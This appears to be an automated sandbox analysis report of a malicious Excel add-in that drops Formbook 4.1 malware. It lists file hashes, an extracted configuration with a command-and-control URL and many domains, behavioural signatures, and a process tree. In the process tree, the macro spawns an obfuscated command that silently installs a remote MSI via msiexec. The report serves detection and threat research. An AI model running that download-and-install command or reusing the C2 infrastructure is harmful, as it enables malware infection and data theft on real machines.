Analysis
-
max time kernel
148s -
max time network
144s -
platform
windows7_x64 -
resource
win7v20210410 -
submitted
05-05-2021 18:36
Static task
static1
Behavioral task
behavioral1
Sample
file2083.xlam
Resource
win7v20210410
General
-
Target
file2083.xlam
-
Size
15KB
-
MD5
399563af4221cc2c176d8f218d6a563d
-
SHA1
72251218c8127abeab4c04944445c18bdac2688f
-
SHA256
cc9cefa7960d991d414051f5fe153ffa514a2e687143dd2b1b6966edbbcadbec
-
SHA512
bb0aef3126bc94f5bc32bddc96b4c6720b4eeeaa91c1a80c95039d4c88871fdc33ceef7cd579bd00d4acbc62987f9e6c0fa7efa08de81e4a4db8194f81f6ebea
Malware Config
Extracted
formbook
4.1
http://www.111bjs.com/ccr/
abdullahlodhi.com
jevya.com
knoxvillerestaurant.com
mekarauroko7389.com
cricketspowder.net
johannchirinos.com
orangeorganical.com
libero-tt.com
lorenaegianluca.com
wintab.net
modernmillievintage.com
zgdqcyw.com
jeffabildgaardmd.com
nurulfikrimakassar.com
findyourchef.com
innovationsservicegroup.com
destek-taleplerimiz.com
whfqqco.icu
kosmetikmadeingermany.com
dieteticos.net
savarsineklik.com
newfashiontrends.com
e-mobilitysolutions.com
spaced.ltd
amjadalitrading.com
thejstutor.com
zzhqp.com
exoticomistico.com
oklahomasundayschool.com
grwfrog.com
elementsfitnessamdwellbeing.com
auldontoyworld.com
cumhuriyetcidemokratparti.kim
thetruthinternational.com
adimadimingilizce.com
retreatwinds.com
duoteshop.com
jasonkokrak.com
latindancextreme.com
agavedeals.com
motz.xyz
kspecialaroma.com
yuejinjc.com
print12580.com
ampsports.tennis
affordablebathroomsarizona.com
casnop.com
driftwestcoastmarket.com
bjsjygg.com
gwpjamshedpur.com
reserveacalifornia.com
caobv.com
culturaenmistacones.com
back-upstore.com
jjsmiths.com
iamxc.com
siobhankrittiya.com
digitalakanksha.com
koatku.com
shamushalkowich.com
merplerps.com
fishexpertise.com
sweetheartmart.com
nqs.xyz
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 1100 1688 cmd.exe EXCEL.EXE -
Formbook Payload 2 IoCs
Processes:
resource yara_rule behavioral1/memory/1072-76-0x0000000000400000-0x000000000042E000-memory.dmp formbook behavioral1/memory/1416-81-0x0000000000080000-0x00000000000AE000-memory.dmp formbook -
Blocklisted process makes network request 1 IoCs
Processes:
msiexec.exeflow pid process 7 1156 msiexec.exe -
Executes dropped EXE 2 IoCs
Processes:
MSI2DB8.tmpMSI2DB8.tmppid process 1944 MSI2DB8.tmp 1072 MSI2DB8.tmp -
Loads dropped DLL 1 IoCs
Processes:
MSI2DB8.tmppid process 1944 MSI2DB8.tmp -
Use of msiexec (install) with remote resource 1 IoCs
Processes:
msiexec.exepid process 1624 msiexec.exe -
Enumerates connected drives 3 TTPs 24 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
msiexec.exedescription ioc process File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\P: msiexec.exe -
Suspicious use of SetThreadContext 3 IoCs
Processes:
MSI2DB8.tmpMSI2DB8.tmpsvchost.exedescription pid process target process PID 1944 set thread context of 1072 1944 MSI2DB8.tmp MSI2DB8.tmp PID 1072 set thread context of 1208 1072 MSI2DB8.tmp Explorer.EXE PID 1416 set thread context of 1208 1416 svchost.exe Explorer.EXE -
Drops file in Windows directory 6 IoCs
Processes:
msiexec.exedescription ioc process File opened for modification C:\Windows\Installer\ msiexec.exe File opened for modification C:\Windows\Installer\MSI2D58.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI2DB8.tmp msiexec.exe File opened for modification C:\Windows\Installer\f742be2.ipi msiexec.exe File opened for modification C:\Windows\Installer\MSI28A6.tmp msiexec.exe File created C:\Windows\Installer\f742be2.ipi msiexec.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
NSIS installer 6 IoCs
Processes:
resource yara_rule C:\Windows\Installer\MSI2DB8.tmp nsis_installer_1 C:\Windows\Installer\MSI2DB8.tmp nsis_installer_2 C:\Windows\Installer\MSI2DB8.tmp nsis_installer_1 C:\Windows\Installer\MSI2DB8.tmp nsis_installer_2 C:\Windows\Installer\MSI2DB8.tmp nsis_installer_1 C:\Windows\Installer\MSI2DB8.tmp nsis_installer_2 -
Office loads VBA resources, possible macro or embedded object present
-
Enumerates system info in registry 2 TTPs 1 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
Processes:
EXCEL.EXEdescription ioc process Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" EXCEL.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote EXCEL.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel EXCEL.EXE -
Modifies data under HKEY_USERS 1 IoCs
Processes:
msiexec.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad msiexec.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 1688 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 31 IoCs
Processes:
msiexec.exeMSI2DB8.tmpsvchost.exepid process 1156 msiexec.exe 1156 msiexec.exe 1072 MSI2DB8.tmp 1072 MSI2DB8.tmp 1416 svchost.exe 1416 svchost.exe 1416 svchost.exe 1416 svchost.exe 1416 svchost.exe 1416 svchost.exe 1416 svchost.exe 1416 svchost.exe 1416 svchost.exe 1416 svchost.exe 1416 svchost.exe 1416 svchost.exe 1416 svchost.exe 1416 svchost.exe 1416 svchost.exe 1416 svchost.exe 1416 svchost.exe 1416 svchost.exe 1416 svchost.exe 1416 svchost.exe 1416 svchost.exe 1416 svchost.exe 1416 svchost.exe 1416 svchost.exe 1416 svchost.exe 1416 svchost.exe 1416 svchost.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
Explorer.EXEpid process 1208 Explorer.EXE -
Suspicious behavior: MapViewOfSection 6 IoCs
Processes:
MSI2DB8.tmpMSI2DB8.tmpsvchost.exepid process 1944 MSI2DB8.tmp 1072 MSI2DB8.tmp 1072 MSI2DB8.tmp 1072 MSI2DB8.tmp 1416 svchost.exe 1416 svchost.exe -
Suspicious use of AdjustPrivilegeToken 51 IoCs
Processes:
msiexec.exemsiexec.exeMSI2DB8.tmpExplorer.EXEsvchost.exedescription pid process Token: SeShutdownPrivilege 1624 msiexec.exe Token: SeIncreaseQuotaPrivilege 1624 msiexec.exe Token: SeRestorePrivilege 1156 msiexec.exe Token: SeTakeOwnershipPrivilege 1156 msiexec.exe Token: SeSecurityPrivilege 1156 msiexec.exe Token: SeCreateTokenPrivilege 1624 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 1624 msiexec.exe Token: SeLockMemoryPrivilege 1624 msiexec.exe Token: SeIncreaseQuotaPrivilege 1624 msiexec.exe Token: SeMachineAccountPrivilege 1624 msiexec.exe Token: SeTcbPrivilege 1624 msiexec.exe Token: SeSecurityPrivilege 1624 msiexec.exe Token: SeTakeOwnershipPrivilege 1624 msiexec.exe Token: SeLoadDriverPrivilege 1624 msiexec.exe Token: SeSystemProfilePrivilege 1624 msiexec.exe Token: SeSystemtimePrivilege 1624 msiexec.exe Token: SeProfSingleProcessPrivilege 1624 msiexec.exe Token: SeIncBasePriorityPrivilege 1624 msiexec.exe Token: SeCreatePagefilePrivilege 1624 msiexec.exe Token: SeCreatePermanentPrivilege 1624 msiexec.exe Token: SeBackupPrivilege 1624 msiexec.exe Token: SeRestorePrivilege 1624 msiexec.exe Token: SeShutdownPrivilege 1624 msiexec.exe Token: SeDebugPrivilege 1624 msiexec.exe Token: SeAuditPrivilege 1624 msiexec.exe Token: SeSystemEnvironmentPrivilege 1624 msiexec.exe Token: SeChangeNotifyPrivilege 1624 msiexec.exe Token: SeRemoteShutdownPrivilege 1624 msiexec.exe Token: SeUndockPrivilege 1624 msiexec.exe Token: SeSyncAgentPrivilege 1624 msiexec.exe Token: SeEnableDelegationPrivilege 1624 msiexec.exe Token: SeManageVolumePrivilege 1624 msiexec.exe Token: SeImpersonatePrivilege 1624 msiexec.exe Token: SeCreateGlobalPrivilege 1624 msiexec.exe Token: SeRestorePrivilege 1156 msiexec.exe Token: SeTakeOwnershipPrivilege 1156 msiexec.exe Token: SeRestorePrivilege 1156 msiexec.exe Token: SeTakeOwnershipPrivilege 1156 msiexec.exe Token: SeRestorePrivilege 1156 msiexec.exe Token: SeTakeOwnershipPrivilege 1156 msiexec.exe Token: SeRestorePrivilege 1156 msiexec.exe Token: SeTakeOwnershipPrivilege 1156 msiexec.exe Token: SeRestorePrivilege 1156 msiexec.exe Token: SeTakeOwnershipPrivilege 1156 msiexec.exe Token: SeRestorePrivilege 1156 msiexec.exe Token: SeTakeOwnershipPrivilege 1156 msiexec.exe Token: SeDebugPrivilege 1072 MSI2DB8.tmp Token: SeShutdownPrivilege 1208 Explorer.EXE Token: SeDebugPrivilege 1416 svchost.exe Token: SeShutdownPrivilege 1208 Explorer.EXE Token: SeShutdownPrivilege 1208 Explorer.EXE -
Suspicious use of FindShellTrayWindow 6 IoCs
Processes:
EXCEL.EXEExplorer.EXEpid process 1688 EXCEL.EXE 1688 EXCEL.EXE 1208 Explorer.EXE 1208 Explorer.EXE 1208 Explorer.EXE 1208 Explorer.EXE -
Suspicious use of SendNotifyMessage 4 IoCs
Processes:
Explorer.EXEpid process 1208 Explorer.EXE 1208 Explorer.EXE 1208 Explorer.EXE 1208 Explorer.EXE -
Suspicious use of SetWindowsHookEx 3 IoCs
Processes:
EXCEL.EXEpid process 1688 EXCEL.EXE 1688 EXCEL.EXE 1688 EXCEL.EXE -
Suspicious use of WriteProcessMemory 28 IoCs
Processes:
EXCEL.EXEcmd.exemsiexec.exeMSI2DB8.tmpExplorer.EXEsvchost.exedescription pid process target process PID 1688 wrote to memory of 1100 1688 EXCEL.EXE cmd.exe PID 1688 wrote to memory of 1100 1688 EXCEL.EXE cmd.exe PID 1688 wrote to memory of 1100 1688 EXCEL.EXE cmd.exe PID 1688 wrote to memory of 1100 1688 EXCEL.EXE cmd.exe PID 1100 wrote to memory of 1624 1100 cmd.exe msiexec.exe PID 1100 wrote to memory of 1624 1100 cmd.exe msiexec.exe PID 1100 wrote to memory of 1624 1100 cmd.exe msiexec.exe PID 1100 wrote to memory of 1624 1100 cmd.exe msiexec.exe PID 1100 wrote to memory of 1624 1100 cmd.exe msiexec.exe PID 1100 wrote to memory of 1624 1100 cmd.exe msiexec.exe PID 1100 wrote to memory of 1624 1100 cmd.exe msiexec.exe PID 1156 wrote to memory of 1944 1156 msiexec.exe MSI2DB8.tmp PID 1156 wrote to memory of 1944 1156 msiexec.exe MSI2DB8.tmp PID 1156 wrote to memory of 1944 1156 msiexec.exe MSI2DB8.tmp PID 1156 wrote to memory of 1944 1156 msiexec.exe MSI2DB8.tmp PID 1944 wrote to memory of 1072 1944 MSI2DB8.tmp MSI2DB8.tmp PID 1944 wrote to memory of 1072 1944 MSI2DB8.tmp MSI2DB8.tmp PID 1944 wrote to memory of 1072 1944 MSI2DB8.tmp MSI2DB8.tmp PID 1944 wrote to memory of 1072 1944 MSI2DB8.tmp MSI2DB8.tmp PID 1944 wrote to memory of 1072 1944 MSI2DB8.tmp MSI2DB8.tmp PID 1208 wrote to memory of 1416 1208 Explorer.EXE svchost.exe PID 1208 wrote to memory of 1416 1208 Explorer.EXE svchost.exe PID 1208 wrote to memory of 1416 1208 Explorer.EXE svchost.exe PID 1208 wrote to memory of 1416 1208 Explorer.EXE svchost.exe PID 1416 wrote to memory of 672 1416 svchost.exe cmd.exe PID 1416 wrote to memory of 672 1416 svchost.exe cmd.exe PID 1416 wrote to memory of 672 1416 svchost.exe cmd.exe PID 1416 wrote to memory of 672 1416 svchost.exe cmd.exe
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\file2083.xlam2⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C m^SiE^x^e^c /i http://farm-finn.com//admin/56701.msi /qn3⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\msiexec.exemSiExec /i http://farm-finn.com//admin/56701.msi /qn4⤵
- Use of msiexec (install) with remote resource
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\svchost.exe"C:\Windows\SysWOW64\svchost.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe/c del "C:\Windows\Installer\MSI2DB8.tmp"3⤵
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Blocklisted process makes network request
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Installer\MSI2DB8.tmp"C:\Windows\Installer\MSI2DB8.tmp"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
-
C:\Windows\Installer\MSI2DB8.tmp"C:\Windows\Installer\MSI2DB8.tmp"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Windows\Installer\MSI2DB8.tmpMD5
c143786765f282d07d418fe98d4fe91a
SHA1d3bbaa15dfe972e30bac4687d4fb1a96185e0bc8
SHA256c26dc231fde9a811c06eb82b7292892eb0db1ff3d45eeec55bc2a74944f39ac6
SHA51214af7f19f4e01949121832585fad1e7fec752cf91083126bf7fddf4ccd5d85aac4ca7bcd7b377b4f1a0a814db5f15f2f7172b4290e0ea1c260950d128a3e13bf
-
C:\Windows\Installer\MSI2DB8.tmpMD5
c143786765f282d07d418fe98d4fe91a
SHA1d3bbaa15dfe972e30bac4687d4fb1a96185e0bc8
SHA256c26dc231fde9a811c06eb82b7292892eb0db1ff3d45eeec55bc2a74944f39ac6
SHA51214af7f19f4e01949121832585fad1e7fec752cf91083126bf7fddf4ccd5d85aac4ca7bcd7b377b4f1a0a814db5f15f2f7172b4290e0ea1c260950d128a3e13bf
-
C:\Windows\Installer\MSI2DB8.tmpMD5
c143786765f282d07d418fe98d4fe91a
SHA1d3bbaa15dfe972e30bac4687d4fb1a96185e0bc8
SHA256c26dc231fde9a811c06eb82b7292892eb0db1ff3d45eeec55bc2a74944f39ac6
SHA51214af7f19f4e01949121832585fad1e7fec752cf91083126bf7fddf4ccd5d85aac4ca7bcd7b377b4f1a0a814db5f15f2f7172b4290e0ea1c260950d128a3e13bf
-
\Users\Admin\AppData\Local\Temp\nsn2E53.tmp\xdqurci0.dllMD5
42b244a4f9d3af1a2788452e5507b0be
SHA14f59185e37d87cf7d4a0c43bc4f26b092c21e4bf
SHA25614ade88d57789eb08d264b56ff0b46317452e50702285aff672ff12768e45c4f
SHA512df0b5fc0fa680ff5ef849e3c9c312e07e4d741054dba3a9c9a7c05cfc2b99fba09776e864494a579cc34ba985c431d22de9917836cb38d1de05b9aea93fb55fa
-
memory/672-82-0x0000000000000000-mapping.dmp
-
memory/1072-77-0x00000000002D0000-0x00000000002E4000-memory.dmpFilesize
80KB
-
memory/1072-76-0x0000000000400000-0x000000000042E000-memory.dmpFilesize
184KB
-
memory/1072-75-0x0000000000770000-0x0000000000A73000-memory.dmpFilesize
3.0MB
-
memory/1072-72-0x000000000041EBB0-mapping.dmp
-
memory/1100-63-0x0000000000000000-mapping.dmp
-
memory/1156-66-0x000007FEFBB51000-0x000007FEFBB53000-memory.dmpFilesize
8KB
-
memory/1208-78-0x0000000006FD0000-0x000000000717C000-memory.dmpFilesize
1.7MB
-
memory/1208-85-0x0000000007FA0000-0x0000000008130000-memory.dmpFilesize
1.6MB
-
memory/1416-80-0x0000000000B00000-0x0000000000B08000-memory.dmpFilesize
32KB
-
memory/1416-79-0x0000000000000000-mapping.dmp
-
memory/1416-81-0x0000000000080000-0x00000000000AE000-memory.dmpFilesize
184KB
-
memory/1416-83-0x00000000007E0000-0x0000000000AE3000-memory.dmpFilesize
3.0MB
-
memory/1416-84-0x0000000000490000-0x0000000000523000-memory.dmpFilesize
588KB
-
memory/1624-65-0x0000000075011000-0x0000000075013000-memory.dmpFilesize
8KB
-
memory/1624-64-0x0000000000000000-mapping.dmp
-
memory/1688-62-0x000000005FFF0000-0x0000000060000000-memory.dmpFilesize
64KB
-
memory/1688-61-0x0000000071361000-0x0000000071363000-memory.dmpFilesize
8KB
-
memory/1688-60-0x000000002FCE1000-0x000000002FCE4000-memory.dmpFilesize
12KB
-
memory/1688-86-0x000000005FFF0000-0x0000000060000000-memory.dmpFilesize
64KB
-
memory/1944-74-0x00000000003F0000-0x00000000003F2000-memory.dmpFilesize
8KB
-
memory/1944-67-0x0000000000000000-mapping.dmp